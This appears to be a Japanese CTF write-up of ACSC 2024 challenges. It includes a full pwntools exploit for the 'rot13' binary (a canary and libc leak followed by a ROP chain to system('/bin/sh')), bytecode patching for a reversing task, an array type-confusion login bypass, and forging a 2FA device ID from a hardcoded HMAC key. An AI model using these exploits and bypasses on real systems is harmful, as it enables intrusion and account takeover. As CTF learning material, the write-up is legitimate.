よって main 関数内のスタックで定義されている table より上位のスタック (下位のアドレス) を出力することができる.

rot13 関数内でのスタックは以下のようになっている.

────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────────────────────────────────────────────────────────────────────
 ► 0x55555555522a <rot13+33>    xor    eax, eax
   0x55555555522c <rot13+35>    lea    rax, [rip + 0xdd1]
   0x555555555233 <rot13+42>    mov    rdi, rax
   0x555555555236 <rot13+45>    mov    eax, 0
   0x55555555523b <rot13+50>    call   printf@plt                <printf@plt>

   0x555555555240 <rot13+55>    mov    qword ptr [rbp - 0x10], 0
   0x555555555248 <rot13+63>    jmp    rot13+108                <rot13+108>

   0x55555555524a <rot13+65>    mov    rdx, qword ptr [rbp - 0x20]
   0x55555555524e <rot13+69>    mov    rax, qword ptr [rbp - 0x10]
   0x555555555252 <rot13+73>    add    rax, rdx
   0x555555555255 <rot13+76>    movzx  eax, byte ptr [rax]
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffd7e0 —▸ 0x7fffffffd910 ◂— 0x65676f68 /* 'hoge' */
01:0008│     0x7fffffffd7e8 —▸ 0x7fffffffd810 ◂— 0x706050403020100
02:0010│     0x7fffffffd7f0 —▸ 0x7fffffffda20 ◂— 0x1
03:0018│     0x7fffffffd7f8 ◂— 0xddd4eac98771f00
04:0020│ rbp 0x7fffffffd800 —▸ 0x7fffffffda20 ◂— 0x1
05:0028│     0x7fffffffd808 —▸ 0x55555555558d (main+741) ◂— jmp 0x55555555550e
06:0030│ rdi 0x7fffffffd810 ◂— 0x706050403020100
07:0038│     0x7fffffffd818 ◂— 0xf0e0d0c0b0a0908
───────────────────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────────────────────────────────────────────────────────
 ► f 0   0x55555555522a rot13+33
   f 1   0x55555555558d main+741
   f 2   0x7ffff7c29d90 __libc_start_call_main+128
   f 3   0x7ffff7c29e40 __libc_start_main+128
   f 4   0x555555555145 _start+37
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> tele 0x7fffffffd7a0
00:0000│  0x7fffffffd7a0 ◂— 0x0
01:0008│  0x7fffffffd7a8 —▸ 0x7ffff7e1b780 (_IO_2_1_stdout_) ◂— 0xfbad2887
02:0010│  0x7fffffffd7b0 ◂— 0x0
03:0018│  0x7fffffffd7b8 ◂— 0x0
04:0020│  0x7fffffffd7c0 —▸ 0x7ffff7e17600 (_IO_file_jumps) ◂— 0x0
05:0028│  0x7fffffffd7c8 —▸ 0x7ffff7c8a5ad (_IO_file_setbuf+13) ◂— test rax, rax
06:0030│  0x7fffffffd7d0 —▸ 0x7ffff7e1b780 (_IO_2_1_stdout_) ◂— 0xfbad2887
07:0038│  0x7fffffffd7d8 —▸ 0x7ffff7c8157f (setbuffer+191) ◂— test dword ptr [rbx], 0x8000

0x7fffffffd810table の先頭が入っていて,その直前にはリターンアドレス,saved rbp,canary があるので,実行ファイルのアドレス,スタックのアドレス,canary がリークできる.
また,それより下位のアドレス (rot13 関数のスタックフレームより上) には libc 上のアドレスが格納されていることが確認できる.
これらは rot13 関数内で,関数を呼ぶと上書きされてしまうが,適当に探すと table[- 13 * 8] の位置に libc のアドレスが見つかった.

あとは ROP で "/bin/sh" を適当な場所に置いて system を呼び出す.

└─< readelf -s -W libc.so.6 | grep " system@" 
  1481: 0000000000050d70    45 FUNC    WEAK   DEFAULT   15 system@@GLIBC_2.2.5

└─< readelf -s -W libc.so.6 | grep " read@"  
   289: 00000000001147d0   157 FUNC    GLOBAL DEFAULT   15 read@@GLIBC_2.2.5
from pwn import *

binary_name = 'rot13'
exe = ELF(binary_name, checksec=True)
libc = ELF('libc.so.6', checksec=False)
context.binary = exe
context.terminal = ['tmux', 'splitw', '-h']
context.gdbinit = '~/work/notes/others/files/gdbinit_pwndbg'

conv        = lambda *x: tuple(map(lambda y: y.encode() if isinstance(y, str) else y, x))
rc          = lambda *x, **y: io.recv(*conv(*x), **y)
ru          = lambda *x, **y: io.recvuntil(*conv(*x), **y)
rl          = lambda *x, **y: io.recvline(*conv(*x), **y)
rrp         = lambda *x, **y: io.recvrepeat(*conv(*x), **y)
ral         = lambda *x, **y: io.recvall(*conv(*x), **y)
sn          = lambda *x, **y: io.send(*conv(*x), **y)
sl          = lambda *x, **y: io.sendline(*conv(*x), **y)
sa          = lambda *x, **y: io.sendafter(*conv(*x), **y)
sla         = lambda *x, **y: io.sendlineafter(*conv(*x), **y)
gdbattach   = lambda *x, **y: gdb.attach(io, *x, **y)
loginfo     = lambda *x, **y: log.info(' '.join(x), **y)
interact    = lambda *x, **y: io.interactive(*x, **y)

HOST_NAME, PORT = 'rot13.chal.2024.ctf.acsc.asia 9999'.split()

gdb_script = '''
b *0x000055555555522a
c
'''
gdb_script = '''
b *0x0000555555555598
c
'''
if args.REMOTE:
    io = remote(HOST_NAME, PORT)
elif args.LOCAL:
    io = remote('localhost', PORT)
elif args.GDB:
    io = gdb.debug(f'debug_dir/{binary_name}', gdb_script, aslr=False)
else:
    io = process(f'debug_dir/{binary_name}')

payload = bytes([0x100 - 3 * 8 + i for i in range(8)])
payload += bytes([0x100 - 13 * 8 + i for i in range(8)])
payload += bytes([0x100 - 1 * 8 + i for i in range(8)])
sla(b'Text: ', payload)
res = rl().replace(b'Result: ', b'')
canary = int.from_bytes(res[:8], 'little')
libc_base = int.from_bytes(res[8:16], 'little') - 0x21b780
exec_base = int.from_bytes(res[16:24], 'little') - 0x158d

loginfo(f'canary: {hex(canary)}')
loginfo(f'libc_base: {hex(libc_base)}')
loginfo(f'exec_base: {hex(exec_base)}')

addr_read = libc_base + 0x00000000001147d0
addr_system = libc_base + 0x0000000000050d70
rop_pop_rdi = libc_base + 0x000000000002a3e5
rop_pop_rsi = libc_base + 0x000000000002be51
rop_pop_rdx_r12 = libc_base + 0x000000000011f2e7
rop_ret = libc_base + 0x0000000000029139
writable = exec_base + 0x4000 + 0x200
payload = b'a' * 0x100
payload += p64(0)
payload += p64(canary)
payload += p64(1)

payload += p64(rop_pop_rdx_r12)
payload += p64(0x100)
payload += p64(0)
payload += p64(rop_pop_rsi)
payload += p64(writable)
payload += p64(rop_pop_rdi)
payload += p64(0)
payload += p64(addr_read)
payload += p64(rop_pop_rdi)
payload += p64(writable)
payload += p64(rop_ret)
payload += p64(addr_system)

sla(b'Text: ', payload)
sla(b'Text: ', b'')

sl(b'/bin/sh')

interact()

Reversing

compyled

100 pts

authored by splitline

It's just a compiled Python. It won't hurt me...

実行してみると FLAG の入力を促される.

└─< py run.pyc         
FLAG> ACSC{hogehoge}

pydisasm を使ってみるもここ以降はエラーが出てしまう.

└─< pydisasm ./run.pyc                               
# pydisasm version 6.1.0
# Python bytecode 3.10.0 (3439)
# Disassembled from Python 3.10.12 (main, Nov 20 2023, 15:14:05) [GCC 11.4.0]
# Timestamp in code: 0 (1970-01-01 09:00:00)
# Source code size mod 2**32: 0 bytes
# Method Name:       <eval>
# Filename:          <sandbox>
# Argument count:    0
# Position-only argument count: 0
# Keyword-only arguments: 0
# Number of locals:  0
# Stack size:        0
# Flags:             0x00000040 (NOFREE)
# First Line:        0
# Constants:
#    0: 'FLAG> '
#    1: 'CORRECT'
# Names:
#    0: print
#    1: input

# Method Name:       <eval>
# Filename:          <sandbox>
# Argument count:    0
# Position-only argument count: 0
# Keyword-only arguments: 0
# Number of locals:  0
# Stack size:        0
# Flags:             0x00000040 (NOFREE)
# First Line:        0
# Constants:
#    0: 'FLAG> '
#    1: 'CORRECT'
# Names:
#    0: print
#    1: input

pycdc もうまくいかない.

└─< ~/tools/pycdc/pycdc ./run.pyc  
# Source Generated with Decompyle++
# File: run.pyc (Python 3.10)

Error decompyling ./run.pyc: vector::_M_range_check: __n (which is 12) >= this->size() (which is 2)

uncompyle6 も失敗する.

└─< uncompyle6 ./run.pyc     
# uncompyle6 version 3.9.1
# Python bytecode version base 3.10.0 (3439)
# Decompiled from: Python 3.10.12 (main, Nov 20 2023, 15:14:05) [GCC 11.4.0]
# Embedded file name: <sandbox>

Unsupported Python version, 3.10.0, for decompilation


# Unsupported bytecode in file ./run.pyc
# Unsupported Python version, 3.10.0, for decompilation

dis.dis やといける.

>>    0 JUMP_IF_FALSE_OR_POP    13 (to 26)
      2 <13>
      4 <0>
      6 <0>
      8 <0>
     10 <0>
>>   12 <0>
     14 <0>
     16 <227>                    0
     18 <0>
     20 <0>
     22 <0>
     24 <0>
>>   26 <0>
     28 <0>
     30 <0>
     32 <0>
     34 <0>
     36 <0>
     38 <0>
     40 <0>
     42 MATCH_CLASS              9
     44 <0>
     46 LOAD_NAME                1 (1)
     48 LOAD_CONST               0 (0)
     50 CALL_FUNCTION            1
     52 LOAD_CONST              12 (12)
     54 LOAD_CONST              20 (20)
     56 BUILD_TUPLE              0
     58 MATCH_SEQUENCE
     60 ROT_TWO
     62 POP_TOP
     64 DUP_TOP
     66 BINARY_ADD
     68 DUP_TOP
     70 BINARY_ADD
     72 DUP_TOP
     74 BINARY_ADD
     76 DUP_TOP
     78 BINARY_ADD
     80 DUP_TOP
     82 BINARY_ADD
     84 DUP_TOP
     86 BINARY_ADD
     88 BUILD_TUPLE              0
     90 MATCH_SEQUENCE
(snip...)

先頭の方の <0> とかはわからんけど

52 LOAD_CONST              12 (12)
54 LOAD_CONST              20 (20)

とあって,LOAD_CONST 命令は,co_consts[consti] をスタックにプッシュするので,co_consts[12]co_consts[20] を指しているが,pydisasm の結果を見ると 0 と 1 しかないはずなのでここが原因?

とりあえずここの二命令を nop にしてみる.

d = open('run.pyc', 'rb').read()
d = d.replace(b'\x64\x0c\x64\x14', b'\x09\x00' * 2)
open('run__.pyc', 'wb').write(d)

これで pydisasm を使うときちんとディスアセンブルできる.

# Method Name:       <eval>
# Filename:          <sandbox>
# Argument count:    0
# Position-only argument count: 0
# Keyword-only arguments: 0
# Number of locals:  0
# Stack size:        0
# Flags:             0x00000040 (NOFREE)
# First Line:        0
# Constants:
#    0: 'FLAG> '
#    1: 'CORRECT'
# Names:
#    0: print
#    1: input
         >>    0 LOAD_NAME            (input)
               2 LOAD_CONST           ("FLAG> ")
               4 CALL_FUNCTION        (1 positional argument)
               6 NOP
               8 NOP
              10 BUILD_TUPLE          0
              12 MATCH_SEQUENCE
              14 ROT_TWO
              16 POP_TOP
              18 DUP_TOP
              20 BINARY_ADD
              22 DUP_TOP
              24 BINARY_ADD
              26 DUP_TOP
              28 BINARY_ADD
              30 DUP_TOP
              32 BINARY_ADD
              34 DUP_TOP
              36 BINARY_ADD
              38 DUP_TOP
              40 BINARY_ADD
              42 BUILD_TUPLE          0
              44 MATCH_SEQUENCE
              46 ROT_TWO
              48 POP_TOP
              50 BINARY_ADD
              52 BUILD_TUPLE          0
              54 MATCH_SEQUENCE
              56 ROT_TWO
              58 POP_TOP
              60 DUP_TOP
              62 BINARY_ADD
              64 DUP_TOP
              66 BINARY_ADD
              68 DUP_TOP
              70 BINARY_ADD
              72 DUP_TOP
              74 BINARY_ADD
              76 DUP_TOP
              78 BINARY_ADD
              80 BUILD_TUPLE          0
              82 MATCH_SEQUENCE
              84 ROT_TWO
              86 POP_TOP
              88 BINARY_ADD
              90 DUP_TOP
              92 BINARY_ADD
              94 BUILD_TUPLE          0
              96 MATCH_SEQUENCE
              98 ROT_TWO
(snip...)

最初に input を呼び出している.
そこからは同じような命令のセットが繰り返されている.

  • まず BUILD_TUPLE 0 でスタックに () を置いている.
  • その次に MATCH_SEQUENCE を実行しているがこれは,スタックのトップが collections.abc.Sequence インスタンスで,str/bytes/bytearray のインスタンスでないなら,スタックのトップに True をそうでなければ False を置くようになっている.
  • () なのでおそらく True
  • ROT_TWO 命令はスタックのトップ二つを入れ替える.
  • そして POP_TOP が実行される.
  • ここまでで,スタックには True のみが配置されていることになる.
  • 次に DUP_TOPBINARY_ADD の組が繰り返し呼び出されているが,DUP_TOP はスタックのトップを複製してトップに配置し,BINARY_ADD はスタックの二番目をスタックのトップに足し合わせる命令なので,スタックのトップから 64, 32, 16, 8, 4, 2, 1 (= True) と積まれることになる.
  • 次に再び BUILD_TUPLE 0MATCH_SEQUENCEROT_TWOPOP_TOP が実行されるので,スタックのトップに True が配置される.
  • そして BINARY_ADD 命令があるので,スタックのトップには 65 がつまれた状態になる.
  • ここからまた更に同じような処理が実行されて 65 が置かれた上に 67 が配置される.

65A67C なので,FLAG が順に積まれていっていることがわかる.

f = open('./run.pyc.pydisasmed', 'r')
lines = f.readlines()
f.close()

flag = ''
stack = []

i = 0
while i < len(lines):
    l = lines[i]
    if l.startswith('#') or l == '\n':
        i += 1
        continue
    l = l.strip().split()
    if l[0] == '>>':
        i += 1
        continue
    n = int(l[0])
    if n < 10 or n >= 2412:
        i += 1
        continue
    
    opcode = l[1]
    if opcode == 'BUILD_TUPLE':
        if 'DUP_TOP' in lines[i + 4] and len(stack) > 0:
            flag += chr(stack[-1])
            stack = []
        stack.append(1)
        i += 4
    elif opcode == 'DUP_TOP':
        assert 'BINARY_ADD' in lines[i + 1]
        stack.append(stack[-1] * 2)
        i += 2
    elif opcode == 'BINARY_ADD':
        stack[-1] += stack[-2]
        i += 1
    else:
        print('error', lines[i])

print(flag)

Web

Login!

100 pts

authored by splitline

Here comes yet another boring login page ... http://login-web.chal.2024.ctf.acsc.asia:5000
const express = require('express');
const crypto = require('crypto');
const FLAG = process.env.FLAG || 'flag{this_is_a_fake_flag}';

const app = express();
app.use(express.urlencoded({ extended: true }));

const USER_DB = {
    user: {
        username: 'user', 
        password: crypto.randomBytes(32).toString('hex')
    },
    guest: {
        username: 'guest',
        password: 'guest'
    }
};

app.get('/', (req, res) => {
    res.send(`
    <html><head><title>Login</title><link rel="stylesheet" href="https://cdn.simplecss.org/simple.min.css"></head>
    <body>
    <section>
    <h1>Login</h1>
    <form action="/login" method="post">
    <input type="text" name="username" placeholder="Username" length="6" required>
    <input type="password" name="password" placeholder="Password" required>
    <button type="submit">Login</button>
    </form>
    </section>
    </body></html>
    `);
});

app.post('/login', (req, res) => {
    const { username, password } = req.body;
    if (username.length > 6) return res.send('Username is too long');

    const user = USER_DB[username];
    if (user && user.password == password) {
        if (username === 'guest') {
            res.send('Welcome, guest. You do not have permission to view the flag');
        } else {
            res.send(`Welcome, ${username}. Here is your flag: ${FLAG}`);
        }
    } else {
        res.send('Invalid username or password');
    }
});

app.listen(5000, () => {
    console.log('Server is running on port 5000');
});

guest 以外でログインできれば FLAG がもらえる.

USER_DB からユーザを取得するときは

const user = USER_DB[username];

でユーザ名を確認するときは

username === 'guest'

としている.

=== は強い比較なので username が文字列でないとそもそも true とならないが,USER_DB[username] では username を自動的に文字列に変換してくれるので

username[]=guest&password=guest

username を配列にして POST すると FLAG が得られる.

Too Faulty

150 pts

authored by tsolmon

The admin at TooFaulty has led an overhaul of their authentication mechanism. This initiative includes the incorporation of Two-Factor Authentication and the assurance of a seamless login process through the implementation of a unique device identification solution.

http://toofaulty.chal.2024.ctf.acsc.asia:80

登録してみると二段階認証が設定できる.
Screenshot_20240403_002256.png

二段階認証も設定して一度ログアウトして再びログインしようとすると以下の画面のように 2FA code と CAPTCHA が要求される.
Screenshot_20240403_002520.png
また,よく見ると Trust only this device とある.

Trust only this device にチェックを入れて認証に成功すると次からのログインでは特に何もしなくてもユーザ名とパスワードだけでログインできるようになる.
ログイン時のコードを確認すると以下のように deviceId を送信していることがわかる.

document
  .getElementById("loginForm")
  .addEventListener("submit", function (event) {
    event.preventDefault();

    const username = document.getElementById("username").value;
    const password = document.getElementById("password").value;
    const browser = bowser.getParser(window.navigator.userAgent);
    const browserObject = browser.getBrowser();
    const versionReg = browserObject.version.match(/^(\d+\.\d+)/);
    const version = versionReg ? versionReg[1] : "unknown";
    const deviceId = CryptoJS.HmacSHA1(
      `${browserObject.name} ${version}`,
      "2846547907"
    );

    fetch("/login", {
      method: "POST",
      headers: {
        "Content-Type": "application/json",
        "X-Device-Id": deviceId,
      },
      body: JSON.stringify({ username, password }),
    })
      .then((response) => {
        if (response.redirected) {
          window.location.href = response.url;
        } else if (response.ok) {
          response.json().then((data) => {
            if (data.redirect) {
              window.location.href = data.redirect;
            } else {
              window.location.href = "/";
            }
          });
        } else {
          throw new Error("Login failed");
        }
      })
      .catch((error) => {
        console.error("Error:", error);
      });
  });

function redirectToRegister() {
  window.location.href = "/register";
}

ただし,この deviceId はブラウザの名前とバージョンから計算しているため適当に試せば当たりそう.

const browser = bowser.getParser(window.navigator.userAgent);
const browserObject = browser.getBrowser();
const versionReg = browserObject.version.match(/^(\d+\.\d+)/);
const version = versionReg ? versionReg[1] : "unknown";
version;
// >> '122.0'
browserObject.name;
// >> 'Chrome'

あとは問題に admin とあるので,このパスワードがわかれば良い.
admin で試してみると二段階認証の画面に進めるのでこれで正しそう.
適当にスクリプトを作成しようと思っていたところで burpsuite で試してみるととたまたま同じで普通にいけた.

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0